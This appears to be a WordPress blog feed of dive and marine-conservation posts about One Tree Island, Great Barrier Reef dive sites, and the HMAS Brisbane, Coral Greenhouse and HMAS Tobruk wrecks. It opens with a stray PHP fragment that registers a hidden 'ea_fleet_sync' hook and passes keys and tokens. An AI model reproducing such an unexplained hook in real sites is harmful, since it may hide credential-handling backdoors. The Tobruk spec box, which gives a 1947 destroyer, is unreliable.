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_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Season 2 - Drenched Productions https://drenchedproductions.com - Expedition Drenched Sun, 16 Oct 2022 09:22:27 +0000 en-US hourly 1 https://wordpress.org/?v=7.1 https://i0.wp.com/drenchedproductions.com/wp-content/uploads/2021/05/cropped-Expedition-Drenched-TRANSPARENT-BACKGROUND_3.png?fit=32%2C32&ssl=1 Season 2 - Drenched Productions https://drenchedproductions.com 32 32 193191625 One Tree Island Research Station – Expedition Drenched the FIRST Sailors Allowed to Visit https://drenchedproductions.com/one-tree-island-research-station-expedition-drenched-the-first-sailors-allowed-to-visit/ Fri, 07 Oct 2022 10:21:41 +0000 https://drenchedproductions.com/?p=2992 One Tree Island Research Station is OFF LIMITS to most people - but we’re Expedition Drenched! We go where no other tourists have gone before!

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One Tree Island Research Station | Expedition Drenched

One Tree Island Research Station - Expedition Drenched the FIRST Sailors Allowed to Visit

One Tree Island Research Station is OFF LIMITS to most people – but we’re Expedition Drenched! We go where no other tourists have gone before!

The issue of marine conservation is very dear to the hearts of all the Expedition Drenched crew, past and present. It’s what drives us to explore, learn, and document the oceans for all to see. We hope that through our expeditions and our social media channels, we can spread our love of the seas to more and more people and grow the size of the grassroots movement that’s fighting to protect these vital environments.

This is why when we got the opportunity to visit One Tree Island Research Station in the southern Great Barrier Reef, we simply HAD to set sail to the small cay to see where the world’s top marine scientists are attempting to crack the biggest marine conservation issues. And since the island is off-limits to tourists and the general public, this was a huge opportunity for us to get you, our followers, inside this heavily restricted natural space. 

 

What is One Tree Island?

One Tree Island is a tiny coral cay in the Great Barrier Reef that sits about 100km off the coast of Gladstone in Queensland, and 20km east of Heron Island. The island and the surrounding reef are heavily protected and human impacts are kept to a very minimum. Because of these heavy restrictions, the marine life around One Tree Island is virtually pristine and perfect for teaching and research.

One Tree Island became a station in 1965 when the Australian Museum began some research based on the island. The site has been under the management of the University of Sydney since 1974 and since that time has become a world-renowned research location with a list of over 400 published science titles. 

The facilities may be a bit rustic because of the University of Sydney’s commitment to having as little impact on the surrounding environment as possible, but the station itself is well-equipped to help marine scientists tackle the important marine conservation issues of the day.

One Tree Island Research Station has three different laboratory setups available to visiting scientists: a dry lab, a wet lab, and a biological lab. These three types of labs, combined with the fully-stocked SCUBA and snorkelling shed and 9 different multi-purpose vessels, make One Tree Island the perfect spot to conduct marine research.

The dry lab is an air-conditioned research space with a variety of available pieces of scientific equipment like a centrifuge, top pan balances, and high-quality microscopes. 

The wet lab is a covered outdoor space that overlooks the lagoon. This proximity to the ocean allows for the setup of sea tables that have continual saltwater flow input. This lab also contains a UV sterilization system and a filtration system that can produce water perfect for larval research. At the rear of the covered space, there are even two rooms where microscopic observations can take place in a dark or light environment. 

The last part of the One Tree Island lab puzzle is the on-site biological lab. This is a fully indoor building with air conditioning and basic lab equipment like electronic balances and a fume hood.

You might be thinking – hey that doesn’t sound like enough equipment to do in-depth marine research! You’re not wrong. One Tree Island Research Station provides the laboratory basics that all visiting research teams would need. Since the station hosts teams that are researching a huge variety of topics requiring a vast selection of specialized equipment, research teams usually bring what they need with them to the island. 

Where Did It Get Its Name?

Just like many places around the world, One Tree Island got its name from the team of explorers that originally discovered the tropical cay. The southern cays of the Great Barrier Reef were first discovered between 1819 and 1821 by Lieutenant Philip Parker King but the first actual charting of the area and its reefs was conducted in 1843 under the command of Captain Francis Price Blackwood.


On January 10, 1843, Blackwood and his crew aboard the HMS Fly arrived at One Tree Island after mapping Lady Elliot Island just 3 days prior. The crew of the Fly actually landed on the island for the first time the day after their arrival. The crew of the HMS Fly gave the island the One Tree Island name because it was (and still is)  home to a small cluster of pandanus trees that look like a single tree from the water.

How Eco-Friendly is One Tree Island?

One Tree Island is a location where humans have very little impact on the environment in the immediate area. The island is off-limits to tourists and the general public so that the reefs and countless varieties of sea life can exist in a pristine environment. The point of keeping the environment pristine, however, is so that marine research can be conducted in near-perfect conditions.

Humans conduct research but humans also use resources and produce waste. That’s why One Tree Island Research Station was built and is maintained with a strong eco-friendly focus. The goal of the station is to conduct cutting-edge science with as little an environmental footprint as possible. The station allows for a maximum capacity of 34 people at any one time. Those people are housed in two accommodation blocks that each contain a kitchen stocked with all the amenities that visiting research teams may need. 

The University Of Sydney
ANU College of Science

The station allows for a maximum capacity of 34 people at any one time. Those people are housed in two accommodation blocks that each contains a kitchen stocked with all the amenities that visiting research teams may need. 

The living and working arrangements at the station all run in a completely sustainable and eco-friendly way. All the power that the station uses is produced using solar panels, fresh water for drinking and cooking is provided by collecting rainwater, human waste is collected in composting toilets, and all showers are actually just buckets hoisted high to limit personal water consumption. 

One Tree Research Station is still a research location in the modern world, so despite its remote and sometimes rugged nature, the island still has high-speed internet so that researchers can stay connected with their institutions and upload data in real-time. 

What Kind of Marine Research Happens on One Tree Island?

One Tree Island Research Station is located in one of two orange zones within the Great Barrier Reef Marine Park. Orange zone areas are off-limits to the general public and are meant for research use only. Human interaction and impact in these two orange zones are tightly controlled. 

The entire marine park is divided into 9 different types of protection zones with different restrictions and allowances assigned to each. The idea behind the zones is simply to protect and conserve the Great Barrier Reef as well as possible, while still allowing for tourism and research activities. 

Obviously, the research conducted at the One Tree Island Research Station is marine-based research and not research on polar bears. Any research team that has the proper research permit and institutional approval can apply for a stay on One Tree Island. While the process and waiting line can be long, the research station is the perfect place to conduct tropical marine research. Research teams that get the approval to visit One Tree Island are usually focused on the effects of climate change on the oceans, coral bleaching, the ecology of reef systems, geology, and sedimentation issues. 

One Tree Research Station is a highly sought-after location to conduct marine research. It’s so popular that it attracts researchers from all over the planet and has been the central location behind over 400 marine research papers. The facilities keep a database of publications and temperature data for the lagoon area too. If you’re interested in reading about some of the research that has been done at the station, email the station manager to get copies for yourself. 

Wait, the Trees on One Tree Island Kill Birds?

Yeah, they do. In addition to the small cluster of pandanus trees that landed the island its name, the island is also home to a species of tree that seems to actively hunts animals, namely birds. 

Pisonia trees, also known as Bird-catchers or Grand devil’s-claw, have broad but thin leaves and smooth bark. Over the years, it’s developed an ingenious way of spreading its seeds near and far – it produces barbed seeds that get stuck in the feathers or fur of any creature that gets too close to the tree. Those creatures then scatter the seeds further than the tree would be capable of doing on its own. 

One type of Pisonia tree, pisonia grandis, found in the Indian and Pacific oceans, has taken this seed dispersal technique a little bit too far, however. Its long seeds are coated with both a glue-like mucus and small barbs so that they stick to everything that touches them. If too many of these seeds build up on an animal, the seeds can weigh the animal down and eventually stop it from moving altogether. Many creatures simply die at the foot of the offending tree. 

One Tree Island serves as a refuge for up to eight different types of seabirds. Twice a year, at times that conveniently coincide with peak seabird traffic, the Pistonia tree flowers and starts producing seeds. The seabirds use the killer trees to nest and raise their young and the result can sometimes look like a scene from a horror movie with the corpses of birds covering the ground and sometimes even hanging from branches like evil Christmas ornaments. 

The oceans provide over half of the oxygen we breathe, every day. Eighty per cent of all life on earth is found in the oceans and they absorb about half of the world’s carbon dioxide. Their importance cannot be overstated. If the oceans die, humans will not be far behind. The research that the One Tree Island Research Station supports is exceptionally vital to growing our understanding of how the oceans work and how we can protect them for future generations. 

The Expedition Drenched crew want to thank the station managers and authority figures for generously letting our group of rag-tag sailors access this incredibly important area of the Great Barrier Reef. We are all grateful for the glimpse into a world-changing research facility that’s actively working to protect the waters we love so much. 

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Expedition drenched is a U.S. based marine educational non profit 501c3 made possible by our donors and patrons. If you love scuba, sailing, travel, adventure, exploration, conservation, and all things aquatic, we really hope you will continue to follow us on our journey. Our goal in making these videos is to show the world all the amazing, beautiful, and strange inhabitants of the ocean in the hopes that we will all be inspired to protect it.

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We Use & Love:

Cameras we use:

  • Aerials: DJI Mavic
  • On Land: Sony A7iii, Sony AX-53, GoPro 7

Underwater:

  • Sony A7iii in Nauticam Housing
  • Sony RX-100 in Nauticam Housing Underwater

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Our online store on the Expedition Drench website was already fully stocked with awesome, ocean-inspired gear that will get you noticed on the beach, on a sailboat, or even on a di

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]]> 2992 Best Great Barrier Reef Dive Sites – Expedition Drenched Season 2 Top Dive Site Experiences https://drenchedproductions.com/best-great-barrier-reef-dive-sites-expedition-drenched-season-2-top-dive-site-experiences/ Sun, 24 Jul 2022 19:18:50 +0000 https://drenchedproductions.com/?p=2644 The Great Barrier Reef is a SCUBA divers dream. But which sites should you dive? Expedition Drenched rounds up our top 4 Great Barrier Reef dive sites.

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Queensland Top Dive Sites Experience | Expedition Drenched

Best Great Barrier Reef Dive Sites - Expedition Drenched Season 2 Top Dive Site Experiences

The Great Barrier Reef is a SCUBA divers dream. But which sites should you dive? Expedition Drenched rounds up our top 4 Great Barrier Reef dive sites.

Only one living structure on the planet is so big that it can be seen from space. The Great Barrier Reef is roughly 2,000km from top to bottom and covers an area of 350,000 square kilometers. It’s HUGE. And you can find it in Queensland, Australia.

The Expedition Drenched crew was lucky enough to visit this spectacular area of the world during our second season, and we loved every moment. The beautiful turquoise water, stunning water clarity, unparalleled views, and abundant marine life left us with memories that we will never forget.

So this week, we thought we’d do a round-up of our favorite dive sites on the Great Barrier Reef in Queensland, Australia. 

We did some diving on sites towards the center of the Great Barrier Reef and we also ventured out to visit the northern Ribbon Reefs that fringe the continental shelf and are just out of reach for day trips and charters from the mainland. Each of our  4 choices will give you a different dive experience – tuna and sharks at Steve’s Bommie will blow your mind and the underwater museum right beside John Brewer Reef will make you feel like you’re inside an underwater science lab.

However, the water around Queensland isn’t just for SCUBA divers. If you’re not someone who likes to strap on a tank of breathing gas and swim around underwater, the Whitsundays is a stunningly perfect place to experience the classic beauty for which Queensland and the Great Barrier Reef are famously known.

 

Northern Great Barrier Reef - Ribbon Reefs

The northern section of the Great Barrier Reef is the home of the Ribbon Reefs, a chain of 10 individual reefs that fringe the edge of the continental shelf. The Ribbon Reefs are in a fairly remote area of the Great Barrier Reef and are only visited by a few liveaboards. But the turquoise water, huge schools of pelagic fish, and fields of soft anemones weren’t out of reach for the Sylfia. We jumped off her dive deck several times in the Ribbon Reefs, but our dives on Cracker Jack and Steve’s Bommie were definitely our most memorable.

Cracker Jack - A Star of Queensland’s Ribbon Reefs

  • Max depth: 35m
  • Min depth: 10m
  • Dive type: Pinnacle
  • Marine life: Sharks and tuna

Cracker Jack is one of the top dive sites in the Great Barrier Reef Ribbon Reefs. It’s a huge pinnacle that rises from 35m up to around 10m below the surface. The sides of the pinnacle are littered with immense gorgonian sea fans busy picking their food out of the passing water. 

The pinnacle itself is home to all the regular characters – lionfish and huge moray eels – but because of it’s location in the Great Barrier Reef and its depth, it’s also a great place for larger pelagic life. If you turn away from the pinnacle and look out into the blue you’ll probably see large pelagic schools of Jacks, and if you’re really lucky you may also spot a shark or some large, hungry tuna stalking the Jacks. 

The shallower part of the pinnacle is full of nooks and crannies that make great homes for mantis shrimp, pipefish, and cleaner shrimp but what will really catch your eye are the schools of glassfish. Since they’re mostly transparent, the large groups of glassfish shine in the sun and make it feel like the whole dive site is covered in glitter. 

Steve’s Bommie - Far Out Ribbon Reef Dive Site

  • Max depth: 25m
  • Min depth: 1m
  • Dive type: Pinnacle
  • Marine life: Giant frogfish and stonefish

Steve’s Bommie is a favourite site on the Ribbon Reefs and people will hop on a liveaboard just to pay it a visit. The site is a rock spire that rises from about 25m and almost hits the surface of the water. This is a really cool site because you can drop down to the base and check out the sea fans and hard corals at the bottom, then slowly shallow up as you spiral around the rock tower. 

As you make your way back up to the surface, keep your eyes peeled for giant frogfish and stonefish camouflaged against the rocky backdrop. They may be hard to spot, but this site is home to a lot of them so go slow, and use your underwater torch to help make them easier to spot. 

Central Great Barrier Reef

Our time in the central area of the Great Barrier Reef had us exploring underwater structures that were less natural than the reefs we usually explore. This part of Great Barrier Reef Marine Park is home to the SS Yongala wreck, often considered the best shipwreck dive site in the world, and the MOUA underwater museum, an hommage to marine conservation efforts.

John Brewer Reef - MOUA Coral Greenhouse Underwater Museum

  • Max depth: 18m
  • Min depth: 12m
  • Dive type: Underwater sculpture museum

Your Expedition Drenched crew were some of the first people in the world to be given permission to dive the MOUA Coral Greenhouse underwater museum. We quickly realized that this underwater installation is more than just a piece of art. 

The Coral Greenhouse is just what it sounds like – a greenhouse for corals. Inside the greenhouse, there are about 20 concrete scientists hard at work saving the marine environment that surrounds them. 

The artist, Jason de Caires Taylor, hopes that his underwater art pieces will encourage more culturally and environmentally aware tourism and help spur a greater understanding of our natural worlds as breathing ecosystems. This is why we loved this dive site so much – you can hear the conversation about marine conservation right there underwater. 

World’s Newest Underwater Sculpture Installation | Expedition Drenched

SS Yongala - Queensland’s Biggest Intact Wreck

  • Max depth: 33m
  • Min depth: 15m
  • Dive type: Shipwreck
  • Marine life: Manta rays, and sometimes whales!

The SS Yongala sank over 100 years ago with no recorded survivors, but today it is often considered to be the best intact wreck dive in the world because it’s loaded with marine life. 

This is a deeper dive site with the bottom of the wreck sitting in the sand at 33m and the top of the wreck sitting around 15m. It’s also considered a site that should be left to highly experienced divers because there’s often a stiff current washing over the wreck. 

SS Yongala Shipwreck - Scuba Diving in Queensland

The SS Yongala is a protected wreck and it’s prohibited to penetrate the wreck itself. When divers go inside a wreck, the air they exhale can accumulate in pockets that cause corrosion over time. To stop this from happening, the local authorities have banned diving inside the SS Yongala, and we love this decision! There’s so much to see on the outside of the wreck that you won’t miss checking out the inside. Plus, keeping to the outside will ensure that our kids and grandkids will also get to enjoy this stunning Great Barrier Reef dive site. 

Each season, the Expedition Drenched crew explores a new area of the ocean and dives new dive sites in the hunt for knowledge and unforgettable experiences. Check out our YouTube channel to learn more about  all the places we’ve already been and to follow our latest adventure – sailing over to legendary Lord Howe Island between Australia and New Zealand. Once the trip is over, we’ll put together our list of favourite Expedition Drenched Season 3 dive sites so that you know exactly where you should dip your fins into the water. 

Happy adventuring, and happy bubbles!

👉Web: https://expeditiondrenched.org

👉Patreon: https://www.patreon.com/DrenchedDivers

👉Facebook: https://www.facebook.com/ExpeditionDr…

👉Instagram: https://www.instagram.com/expeditiond…

👉Merch: https://expeditiondrenched.org/collections/products

 

Expedition drenched is a U.S. based marine educational non profit 501c3 made possible by our donors and patrons. If you love scuba, sailing, travel, adventure, exploration, conservation, and all things aquatic, we really hope you will continue to follow us on our journey. Our goal in making these videos is to show the world all the amazing, beautiful, and strange inhabitants of the ocean in the hopes that we will all be inspired to protect it.

If you liked our video, keep watching them! Subscribe! Thumbs Up!

Let us know what you think in the comments! Share us with all your favorite mermaids and mermen in your life!

Support us on Patreon: https://www.patreon.com/DrenchedDivers

We Use & Love:

Cameras we use:

  • Aerials: DJI Mavic
  • On Land: Sony A7iii, Sony AX-53, GoPro 7

Underwater:

  • Sony A7iii in Nauticam Housing
  • Sony RX-100 in Nauticam Housing Underwater

Lighting:

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Our online store on the Expedition Drench website was already fully stocked with awesome, ocean-inspired gear that will get you noticed on the beach, on a sailboat, or even on a di

The post Best Great Barrier Reef Dive Sites – Expedition Drenched Season 2 Top Dive Site Experiences first appeared on Drenched Productions.

]]> 2644 Exploring the HMAS Brisbane – A Sunken Missile Destroyer on the Sunshine Coast https://drenchedproductions.com/exploring-the-hmas-brisbane-a-sunken-missile-destroyer-on-the-sunshine-coast/ Tue, 14 Jun 2022 22:28:42 +0000 https://drenchedproductions.com/?p=1994 This week we’re pirates-turned-cheerleaders - supporting Amy as she becomes a PADI scuba diving instructor, and cheering about our dives on the HMAS Brisbane wreck.

The post Exploring the HMAS Brisbane – A Sunken Missile Destroyer on the Sunshine Coast first appeared on Drenched Productions.

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Exploring the HMAS Brisbane - A Sunken Missile Destroyer on the Sunshine Coast | Expedition Drenched

Exploring the HMAS Brisbane - A Sunken Missile Destroyer on the Sunshine Coast

Expedition Drenched

14 June 2022

This week we’re pirates-turned-cheerleaders – supporting Amy as she becomes a PADI scuba diving instructor, and cheering about our dives on the HMAS Brisbane wreck. 

This is an exciting episode for the Expedition Drenched crew. We’re lucky enough to get to explore the HMAS Brisbane wreck, and we get to be a team of salty cheerleaders as we support Amy as she trains to become a scuba diving instructor. Watching her chase her dreams and take a step towards sharing her love for the ocean with others makes us the proudest pirates around!

The HMAS Brisbane is a wreck that has some real history behind it, and a serious amount of sea life living in it now. The wreck is considered to be one of Australia’s top 10 dive sites and is an exciting experience for Open Water divers and more experienced adventurers. There have been over 250 species of fish, and over 1,000 species of marine life recorded on the HMAS Brisbane dive site so it’s pretty obvious why the crew was particularly stoked about this adventure. 

  • Vessel Type: Guided-missile destroyer
  • Built: 1965
  • Length: 133m
  • Width: 18m
  • Depth: 15 – 27m
  • Tonnage: 4,551

Oh Hey, HMAS Brisbane - What’s Your Story?

The HMAS Brisbane was one of three Perth-class guided missile destoryers that served in the Royal Australian Navy. The ship was US-designed and was built in Bay City, Michigan in 1965. She was launched in 1966 and was officially commissioned into the Royal Australian Navy in 1967. She is named after the city of Brisbane, Australia. 

The Brisbane was deployed to the Vietnam war twice, once in 1969 and again in 1971. In the late 1990’s, she was deployed to the Persian Gulf as part of Operation Damask and was awarded the Meritorious Unit Citation by the Australian Government for her actions in the Gulf. 

Initially, it was proposed that the ship be donated to the Australian National Maritime Museum to replace the HMAS Vampire, a Daring-class destroyer. But luckily for us, and all the other enthousiastic wreck divers out there, the Brisbane was marked for scuttling as a dive wreck off the coast of Queensland. 

Before the HMAS Brisbane was scuttled, she had some parts removed so they could be reused. Her search radar was removed and donated to the Royal Thai Navy for their use, and her bridge and one of her 5-inch guns were removed so they could be preserved and displayed in the Australian War Museum. 

The actual sinking of the HMAS Brisbane happened quickly. Really quickly. The ship was filled with roughly 200 to 250 tonnes of concrete so she sank in only two minutes and ten seconds. But while she went down quickly, she sank exactly as planned and is now a hugely colonized underwater playground for scuba divers. Here’s a fun fact – to celebrate the tenth anniversary of the scuttling of the HMAS Brisbane, a Queensland radio station, 92.7 MIX FM, ran the world’s first live underwater radio broadcast from the wreck itself on July 31, 2015. That’s putting a whole new spin on pirate radio!

Diving the HMAS Brisbane Destroyer Wreck

It’s always exhilarating to drop down on a shipwreck. In perfect conditions, it can feel like you’re parachuting down onto a ship docked at port. In poor conditions, it can be a totally creepy, eerie experience that has you questioning what you’re eyes are actually seeing. We had great conditions for our dive and revelled in the huge, coral-encrusted shipwreck that sat before us on the ocean floor. 

 

The wreck is upright on its keel sitting in the sand at roughly 27m while the top of its stacks reach up to about 3m below the surface, depending on the tide. There are countless different rooms and areas to explore including the crew living space, sonar equipment room, boiler room, engine room, and even a guided missile silo. 

While you don’t need a wreck certification to dive the HMAS Brisbane, it’s always helpful to have a bit of wreck diving experience when diving a wreck. Why? Well, because you can go inside this wreck and without experience and good buoyancy control you can easily kick corals and marine life, and even kick up loads of silt that can reduce visibility for everyone on the site. 

The Brisbane wreck offers a few special treats for divers that want to explore the inside. Before it was scuttled, blast holes were put in the sides of the ship to allow divers unrestricted and safer access to all the treasures hidden inside the massive structure. 

  • Max Depth: 27m
  • Min Depth: 15m
  • Min Certification Level: Open Water Diver
  • Avg Vis: 14 – 32m
  • Water Conditions: Warm water, 17C – 27C
Scuba Diving, Wreck Dive, Brisbane, Australia | Expedition Drenched
Exploring the HMAS Brisbane | Expedition Drenched
Exploring the HMAS Brisbane, Australia | Expedition Drenched

The Marine Life of the HMAS Brisbane Dive Site

The HMAS Brisbane has been underwater for 22 years so it’s seriously rich in marine life from soft corals, anemones, huge amounts of fish, and even unique creatures like octopus. Inside the different rooms of the shipwreck you’ll find thick clouds of small, shiny bait fish that use the wreck to hide from the large predators that roam the local waters. Sometimes, divers will come face-to-face with massive Queensland Groupers inside the wreck too – a bit of a shock when you’re not expecting it!

During our dive on the wreck we made an effort to look past the schools of fish and take a closer look at the smaller creatures that make the walls of the wreck their home. Once your eyes focus on the smaller scale, the local nudibranchs start to become visible. These colorful sea slugs come in every size, shape, and colour imaginable and for a diver with good eyesight (and a macro camera), nudibranchs can easily become the highlight of a dive. We were lucky enough to spot a multicoloured Painted Nudibranch and an alien-looking Yellowlined Roboastra. 

The HMAS Brisbane gave us such a stunning dive that we decided we’d jump in after sunset and dive the wreck a second time. After the sun goes down, the large ocean predators begin to hunt, so a dive site can be incredibly different between daytime and nighttime. We were really hoping that the wreck would come alive and we’d see some even more impressive ocean life. 

We were not disappointed. During our first dive, we ran into a Day Octopus hidden under a small ledge, trying it’s hardest to not be seen. It’s hard to top an octopus sighting. But while on our second dive, exploring the wreck through the beams of our underwater torches, we hit the jackpot and came across a tiny baby octopus. Watching the impossibly small creature move it’s tentacles and breath through siphons was an experience that none of the current Expedition Drenched crew will ever forget. 

This week, we really think everyone should try to follow in our footsteps. The HMAS Brisbane wreck is a stunning underwater experience for any kind of diver and it truly shouldn’t be missed. With it being so close to shore, it can easily be something that you can check off your list in a single day. Which will give you the time you need to check in with Sunreef Mooloolaba and Platinum level PADI Course Director Kai Steinbeck and talk to them about becoming a PADI dive instructor, just like our Amy did.

Let’s all give Amy a big CONGRATULATIONS for becoming a real-life PADI scuba diving instructor. It’s not an easy undertaking, but Amy crushed it and we can’t wait to see her start to teach others how to breath underwater and enjoy our stunning ocean world. Keep making us all proud, Amy!

👉Web: https://expeditiondrenched.org

👉Patreon: https://www.patreon.com/DrenchedDivers

👉Facebook: https://www.facebook.com/ExpeditionDr…

👉Instagram: https://www.instagram.com/expeditiond…

👉Merch: https://expeditiondrenched.org/collections/products

 

Expedition drenched is a U.S. based marine educational non profit 501c3 made possible by our donors and patrons. If you love scuba, sailing, travel, adventure, exploration, conservation, and all things aquatic, we really hope you will continue to follow us on our journey. Our goal in making these videos is to show the world all the amazing, beautiful, and strange inhabitants of the ocean in the hopes that we will all be inspired to protect it.

If you liked our video, keep watching them! Subscribe! Thumbs Up!

Let us know what you think in the comments! Share us with all your favorite mermaids and mermen in your life!

Support us on Patreon: https://www.patreon.com/DrenchedDivers

We Use & Love:

Cameras we use:

  • Aerials: DJI Mavic
  • On Land: Sony A7iii, Sony AX-53, GoPro 7

Underwater:

  • Sony A7iii in Nauticam Housing
  • Sony RX-100 in Nauticam Housing Underwater

Lighting:

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The post Exploring the HMAS Brisbane – A Sunken Missile Destroyer on the Sunshine Coast first appeared on Drenched Productions.

]]> 1994 Freediving the Coral Greenhouse – World’s Newest Underwater Sculpture Installation https://drenchedproductions.com/freediving-the-coral-greenhouse-worlds-newest-underwater-sculpture-installation/ Fri, 25 Mar 2022 10:55:07 +0000 https://drenchedproductions.com/?p=1899 The Coral Greenhouse is a salty mix of culture and conservation on the Great Barrier reef - We dive into the world’s newest underwater art museum.

The post Freediving the Coral Greenhouse – World’s Newest Underwater Sculpture Installation first appeared on Drenched Productions.

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World’s Newest Underwater Sculpture Installation | Expedition Drenched

Freediving the Coral Greenhouse - World’s Newest Underwater Sculpture Installation

By Expedition Drenched

17 March 2022

The Coral Greenhouse is a salty mix of culture and conservation on the Great Barrier reef – We dive into the world’s newest underwater art museum.

Everyone who has ever been part of Expedition Drenched shares a common goal: to introduce the world to the strange but amazingly beautiful and intensely important oceans’ inhabitants. By showing people the wonders of the world below the waves, we hope that we’ll inspire people to protect it. It’s always challenging to find new and exciting ways to bring marine conservation issues into the hearts of everyone, but this time we’ve found something truly memorable. 

This episode has us sailing down northeast of Townsville, North Queensland, searching for our mooring at the John Brewer reef and our next underwater adventure – the Coral Greenhouse installation by The Museum of Underwater Art (MOUA). For the crew, this underwater experience will be all about the intersection between culture and conservation. 

The Coral Greenhouse isn’t the only underwater sculpture in the world, but it is the world’s newest installation. Your very own Expedition Drenched crew was lucky enough to be some of the very first people in the world to be allowed to dive down and check out the cement ‘scientists’ hard at work repairing the world’s coral reefs. 

 

Coral Greenhouse facts

  • located roughly 80km from Townsville
  • made from stainless steel and pH-neutral materials to encourage coral growth
  • sits on a flat, sandy base in water with 10-15 meter visibility
  • surrounded by coral walls
  • 165 tons in total
  • named one of Australia’s best sculpture trails in March 2022

The installation is part of a series of artworks located right in the Great Barrier Reef. The two installations currently part of the collection were created by world-renowned underwater sculptor, Jason de Caires Taylor. Taylor is part of a new generation of artists who have dived into the underwater world and use it as an exhibition space. His works are permanent, span several continents, and have reached a global audience of over 1 billion people. Pretty impressive for works that aren’t in a traditional museum. 

Ocean Siren is the inaugural sculpture in the collection and was installed next to the Stand Jetty in Townsville. Coral Greenhouse is the second, and largest installation, and we could not have been more excited to strap on our masks and fins and dive down to check it out. 

But what exactly were we diving into?

What is the Coral Greenhouse?

Well, it’s exactly what it sounds like. It’s a sculpture of a greenhouse, but for corals. The imposing yet airy structure of the greenhouse itself sits on the sandy bottom and whispers at curious divers above with its eerie form. Inside the greenhouse, there are 20 ‘reef guardians’ who are all propagating coral and spreading a message about reef conservation. 

One whole side of the large structure is lined with cement recreations of scientific workbenches where the ‘reef guardians’ are busy studying and propagating corals. One is using a microscope to examine a specimen, some are sitting on the bench holding ‘coral’ pots, and some are working on transplanting corals into new pots. 

Outside the extremely tall, vaulted greenhouse door are two large, raised growing beds that are tended by two cement scientists. One is holding a shovel as though he is actively working the ‘soil’ in one of the growing beds. And there’s a piece of Staghorn coral that has been secured to the shovel to make it look like the shovel has sprouted new marine life. 

Some of the more striking aspects of the installation are the large metal trees planted in the sand around the greenhouse structure. Tall and with philodendron-like leaves protruding from the main stalk on thin, fragile branches, the trees cast shadows onto the sand and create an environment that is a bit confusing for the brain. Swimming underneath them gives you the sense of being in a jungle, instead of on the sandy seafloor on the Great Barrier Reef. 

The entire structure is beautiful but also creepy. Its characteristics will change over time as the structure fills in with corals and other encrusting growths, but perhaps for now the eerie feeling that the installation exudes should remind us that a world without coral reefs is a world with a dark future. 

How To Support the MOUA

Considering our roots at Expedition Drenched, we’re big supporters of Not for Profit organizations that make the world a better place through philanthropic activities. MOUA provides an underwater experience that inspires reef conservation, achieves positive environmental outcomes, and engages the community in marine conservation all through the generous donations they receive. 

So of course, donating money is one direct and easy way to support the MOUA. But you can also get a bit creative and adopt a coral that will be planted in the Coral Greenhouse and will grow there for years to come. You’ll even get a photo of your little coral baby so you can show it off to your marine conservation friends. 

But donating money or adopting a coral isn’t the only way to help out this project. If you’ve visited the Coral Greenhouse or the John Brewer Reef and have observed a fish, coral, invertebrate, shark, or turtle, you can submit your photos and experiences to a citizen science page that will help to track the arrival of new life to the underwater sculptures and protect the marine world that we love so much.

The Museum of Underwater Art (MOUA) | Expedition Drenched
The Museum of Underwater Art (MOUA) | Expedition Drenched
The Museum of Underwater Art (MOUA) | Expedition Drenched

What MOUA Installations Are Coming Next?

The MOUA has two more installations planned for the future: one at Palm Island, and the last one at Magnetic Island. While there hasn’t been much information released about the two additional sites, the Palm Island installation is already supported by the Australian Government through the Building Our Future Fund. Stay tuned to our channel and our blog feed for updates on these two exciting new underwater playgrounds. You can be sure we’ll be pointing our compass in their direction as soon as we can!

The Coral Greenhouse is more than just a piece of art. The artist hopes that his installations encourage more culturally and environmentally aware tourism and that more and more tourists start to understand that our natural worlds are breathing ecosystems. 

This unique underwater art installation is continuing the conversation about marine conservation, it’s providing a habit for countless species of corals, fish, and other marine life, and it’s also showing us how we can unify and connect our artificial designs to their surroundings. The Coral Greenhouse is the ultimate mix of culture and marine conservation, and a perfect stop for the ocean-loving Expedition Drenched crew. 

👉Web: https://expeditiondrenched.org

👉Patreon: https://www.patreon.com/DrenchedDivers

👉Facebook: https://www.facebook.com/ExpeditionDr…

👉Instagram: https://www.instagram.com/expeditiond…

👉Merch: https://expeditiondrenched.org/collections/products

 

Expedition drenched is a U.S. based marine educational non profit 501c3 made possible by our donors and patrons. If you love scuba, sailing, travel, adventure, exploration, conservation, and all things aquatic, we really hope you will continue to follow us on our journey. Our goal in making these videos is to show the world all the amazing, beautiful, and strange inhabitants of the ocean in the hopes that we will all be inspired to protect it.

If you liked our video, keep watching them! Subscribe! Thumbs Up!

Let us know what you think in the comments! Share us with all your favorite mermaids and mermen in your life!

Support us on Patreon: https://www.patreon.com/DrenchedDivers

We Use & Love:

Cameras we use:

  • Aerials: DJI Mavic
  • On Land: Sony A7iii, Sony AX-53, GoPro 7

Underwater:

  • Sony A7iii in Nauticam Housing
  • Sony RX-100 in Nauticam Housing Underwater

Lighting:

You Might Also Like:

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The post Freediving the Coral Greenhouse – World’s Newest Underwater Sculpture Installation first appeared on Drenched Productions.

]]> 1899 Diving the HMAS Tobruk Shipwreck – Queensland’s Newest Wreck Dive Site​ https://drenchedproductions.com/diving-the-hmas-tobruk-shipwreck-queenslands-newest-wreck-dive-site/ Thu, 17 Mar 2022 04:52:12 +0000 https://drenchedproductions.com/?p=1857 Pirates can’t resist a good shipwreck or buried treasure - and with the HMAS Tobruk, we found both! An unforgettable adventure for the Expedition Drenched crew.

The post Diving the HMAS Tobruk Shipwreck – Queensland’s Newest Wreck Dive Site​ first appeared on Drenched Productions.

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Diving The HMAS Tobruk Shipwreck | Expedition Drenched

Diving the HMAS Tobruk Shipwreck - Queensland’s Newest Wreck Dive Site

By Expedition Drenched

17 March 2022

 Pirates can’t resist a good shipwreck or buried treasure – and with the HMAS Tobruk, we found both! An unforgettable adventure for the Expedition Drenched crew.

The HMAS Tobruk was floating on the surface of the ocean until it was scuttled in mid-2018 off the coast of Bundaberg and Hervey Bay. It opened to underwater adventure seekers like us in late February 2019 and it offers glimpses of some amazing marine life and a truly quirky structure to navigate. 

The HMAS Tobruk is a premier wreck dive site for the Queensland area of Australia and is not to be missed by any adventurous wreck seeker. Since we’re pirates, we couldn’t resist going hunting for this bit of sunken treasure. We found it and dove it as a crew, even celebrating a crew birthday exploring the longest swim-through in the world!

  • Vessel Type: Battle-class destroyer
  • Built: 1947
  • Length: 127m
  • Width: 12m
  • Depth: 4.11m
  • Tonnage: 2,436

The Rise and Fall of the HMAS Tobruk

